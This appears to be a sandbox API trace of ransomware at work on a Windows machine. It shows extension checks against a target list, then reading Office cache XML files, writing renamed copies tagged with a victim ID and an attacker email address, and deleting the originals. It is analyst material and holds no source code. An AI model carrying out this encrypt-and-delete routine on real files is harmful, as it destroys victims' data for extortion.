	[0088.580] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0088.580] lstrlenW (lpString=".doc") returned 4
	[0088.580] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1
	[0088.581] lstrlenW (lpString=".docx") returned 5
	[0088.581] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1
	[0088.581] lstrlenW (lpString=".pdf") returned 4
	[0088.581] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1
	[0088.582] lstrlenW (lpString=".xls") returned 4
	[0088.582] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1
	[0088.582] lstrlenW (lpString=".xlsx") returned 5
	[0088.582] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1
	[0088.582] lstrlenW (lpString=".ppt") returned 4
	[0088.582] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1
	[0088.582] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0088.582] lstrlenW (lpString=".zip") returned 4
	[0088.582] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1
	[0088.582] lstrlenW (lpString=".rar") returned 4
	[0088.582] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1
	[0088.582] lstrlenW (lpString=".bz2") returned 4
	[0088.582] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1
	[0088.582] lstrlenW (lpString=".7z") returned 3
	[0088.582] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1
	[0088.582] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0088.582] lstrlenW (lpString=".dbf") returned 4
	[0088.582] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1
	[0088.582] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0088.582] lstrlenW (lpString=".1cd") returned 4
	[0088.582] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1
	[0088.582] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0088.582] lstrlenW (lpString=".jpg") returned 4
	[0088.582] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1
	[0088.582] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0088.582] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0088.582] lstrlenW (lpString=".doc") returned 4
	[0088.582] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1
	[0088.583] lstrlenW (lpString=".docx") returned 5
	[0088.583] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1
	[0088.583] lstrlenW (lpString=".pdf") returned 4
	[0088.583] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1
	[0088.583] lstrlenW (lpString=".xls") returned 4
	[0088.583] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1
	[0088.583] lstrlenW (lpString=".xlsx") returned 5
	[0088.583] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1
	[0088.583] lstrlenW (lpString=".ppt") returned 4
	[0088.583] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1
	[0088.583] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0088.583] lstrlenW (lpString=".zip") returned 4
	[0088.583] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1
	[0088.583] lstrlenW (lpString=".rar") returned 4
	[0088.583] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1
	[0088.583] lstrlenW (lpString=".bz2") returned 4
	[0088.583] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1
	[0088.583] lstrlenW (lpString=".7z") returned 3
	[0088.583] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1
	[0088.583] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0088.583] lstrlenW (lpString=".dbf") returned 4
	[0088.583] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1
	[0088.583] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0088.583] lstrlenW (lpString=".1cd") returned 4
	[0088.583] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1
	[0088.583] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0088.583] lstrlenW (lpString=".jpg") returned 4
	[0088.583] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1
	[0088.584] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0088.584] lstrlenW (lpString="ExcelMUI.xml") returned 12
	[0088.584] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0088.592] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=1565) returned 1
	[0088.592] CloseHandle (hObject=0x164) returned 1
	[0088.592] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020
	[0088.592] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0088.592] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0088.592] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.593] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.593] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0088.596] GetLastError () returned 0x0
	[0088.596] ReadFile (in: hFile=0x164, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x61d, lpOverlapped=0x0) returned 1
	[0088.659] WriteFile (in: hFile=0x170, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x620, lpOverlapped=0x0) returned 1
	[0088.660] ReadFile (in: hFile=0x164, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0088.660] WriteFile (in: hFile=0x170, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0088.661] SetEndOfFile (hFile=0x170) returned 1
	[0088.673] CloseHandle (hObject=0x170) returned 1
	[0088.690] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.777] SetEndOfFile (hFile=0x164) returned 1
	[0088.778] CloseHandle (hObject=0x164) returned 1
	[0088.778] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0088.778] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1
	[0088.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0088.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0088.779] lstrlenW (lpString=".doc") returned 4
	[0088.779] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0088.779] lstrlenW (lpString=".docx") returned 5
	[0088.779] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0088.779] lstrlenW (lpString=".pdf") returned 4
	[0088.779] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0088.779] lstrlenW (lpString=".xls") returned 4
	[0088.779] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0088.779] lstrlenW (lpString=".xlsx") returned 5
	[0088.779] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0088.779] lstrlenW (lpString=".ppt") returned 4
	[0088.779] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0088.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0088.779] lstrlenW (lpString=".zip") returned 4
	[0088.779] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0088.779] lstrlenW (lpString=".rar") returned 4
	[0088.779] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0088.779] lstrlenW (lpString=".bz2") returned 4
	[0088.779] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0088.779] lstrlenW (lpString=".7z") returned 3
	[0088.779] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0088.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0088.779] lstrlenW (lpString=".dbf") returned 4
	[0088.804] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0088.804] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0088.804] lstrlenW (lpString=".1cd") returned 4
	[0088.804] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0088.804] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0088.804] lstrlenW (lpString=".jpg") returned 4
	[0088.804] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0088.804] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0088.804] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0088.804] lstrlenW (lpString=".doc") returned 4
	[0088.804] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0088.804] lstrlenW (lpString=".docx") returned 5
	[0088.804] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0088.804] lstrlenW (lpString=".pdf") returned 4
	[0088.804] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0088.804] lstrlenW (lpString=".xls") returned 4
	[0088.804] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0088.805] lstrlenW (lpString=".xlsx") returned 5
	[0088.805] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0088.805] lstrlenW (lpString=".ppt") returned 4
	[0088.805] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0088.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0088.805] lstrlenW (lpString=".zip") returned 4
	[0088.805] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0088.805] lstrlenW (lpString=".rar") returned 4
	[0088.805] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0088.805] lstrlenW (lpString=".bz2") returned 4
	[0088.805] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0088.805] lstrlenW (lpString=".7z") returned 3
	[0088.805] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0088.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0088.805] lstrlenW (lpString=".dbf") returned 4
	[0088.805] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0088.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0088.805] lstrlenW (lpString=".1cd") returned 4
	[0088.805] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0088.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75
	[0088.805] lstrlenW (lpString=".jpg") returned 4
	[0088.805] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0088.805] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0088.805] lstrlenW (lpString="PublisherMUI.xml") returned 16
	[0088.806] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0088.809] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=1450) returned 1
	[0088.809] CloseHandle (hObject=0x164) returned 1
	[0088.810] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020
	[0088.810] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0088.810] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0088.810] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.810] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.810] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0088.812] GetLastError () returned 0x0
	[0088.812] ReadFile (in: hFile=0x164, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x5aa, lpOverlapped=0x0) returned 1
	[0088.923] WriteFile (in: hFile=0x170, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x5b0, lpOverlapped=0x0) returned 1
	[0088.924] ReadFile (in: hFile=0x164, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0088.925] WriteFile (in: hFile=0x170, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0088.925] SetEndOfFile (hFile=0x170) returned 1
	[0088.925] CloseHandle (hObject=0x170) returned 1
	[0089.392] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.392] SetEndOfFile (hFile=0x164) returned 1
	[0089.393] CloseHandle (hObject=0x164) returned 1
	[0089.393] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0089.393] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1
	[0089.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0089.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0089.394] lstrlenW (lpString=".doc") returned 4
	[0089.394] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.394] lstrlenW (lpString=".docx") returned 5
	[0089.394] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0089.394] lstrlenW (lpString=".pdf") returned 4
	[0089.394] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.394] lstrlenW (lpString=".xls") returned 4
	[0089.394] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.394] lstrlenW (lpString=".xlsx") returned 5
	[0089.394] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0089.394] lstrlenW (lpString=".ppt") returned 4
	[0089.394] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0089.394] lstrlenW (lpString=".zip") returned 4
	[0089.394] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.394] lstrlenW (lpString=".rar") returned 4
	[0089.394] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.394] lstrlenW (lpString=".bz2") returned 4
	[0089.394] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.395] lstrlenW (lpString=".7z") returned 3
	[0089.395] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0089.395] lstrlenW (lpString=".dbf") returned 4
	[0089.395] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0089.395] lstrlenW (lpString=".1cd") returned 4
	[0089.395] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0089.395] lstrlenW (lpString=".jpg") returned 4
	[0089.395] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0089.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0089.451] lstrlenW (lpString=".doc") returned 4
	[0089.451] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.451] lstrlenW (lpString=".docx") returned 5
	[0089.451] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0089.451] lstrlenW (lpString=".pdf") returned 4
	[0089.451] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.451] lstrlenW (lpString=".xls") returned 4
	[0089.451] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.451] lstrlenW (lpString=".xlsx") returned 5
	[0089.451] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0089.451] lstrlenW (lpString=".ppt") returned 4
	[0089.451] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0089.451] lstrlenW (lpString=".zip") returned 4
	[0089.451] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.451] lstrlenW (lpString=".rar") returned 4
	[0089.451] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.451] lstrlenW (lpString=".bz2") returned 4
	[0089.451] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.451] lstrlenW (lpString=".7z") returned 3
	[0089.451] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0089.451] lstrlenW (lpString=".dbf") returned 4
	[0089.451] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0089.451] lstrlenW (lpString=".1cd") returned 4
	[0089.452] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0089.452] lstrlenW (lpString=".jpg") returned 4
	[0089.452] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.452] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0089.452] lstrlenW (lpString="Proofing.xml") returned 12
	[0089.452] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0089.452] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=811) returned 1
	[0089.452] CloseHandle (hObject=0x164) returned 1
	[0089.452] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020
	[0089.452] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0089.453] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0089.453] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.453] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.453] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0089.453] GetLastError () returned 0x0
	[0089.453] ReadFile (in: hFile=0x164, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x32b, lpOverlapped=0x0) returned 1
	[0089.463] WriteFile (in: hFile=0x170, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x330, lpOverlapped=0x0) returned 1
	[0089.464] ReadFile (in: hFile=0x164, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0089.464] WriteFile (in: hFile=0x170, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0089.464] SetEndOfFile (hFile=0x170) returned 1
	[0089.464] CloseHandle (hObject=0x170) returned 1
	[0089.472] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.472] SetEndOfFile (hFile=0x164) returned 1
	[0089.476] CloseHandle (hObject=0x164) returned 1
	[0089.476] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0089.477] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1
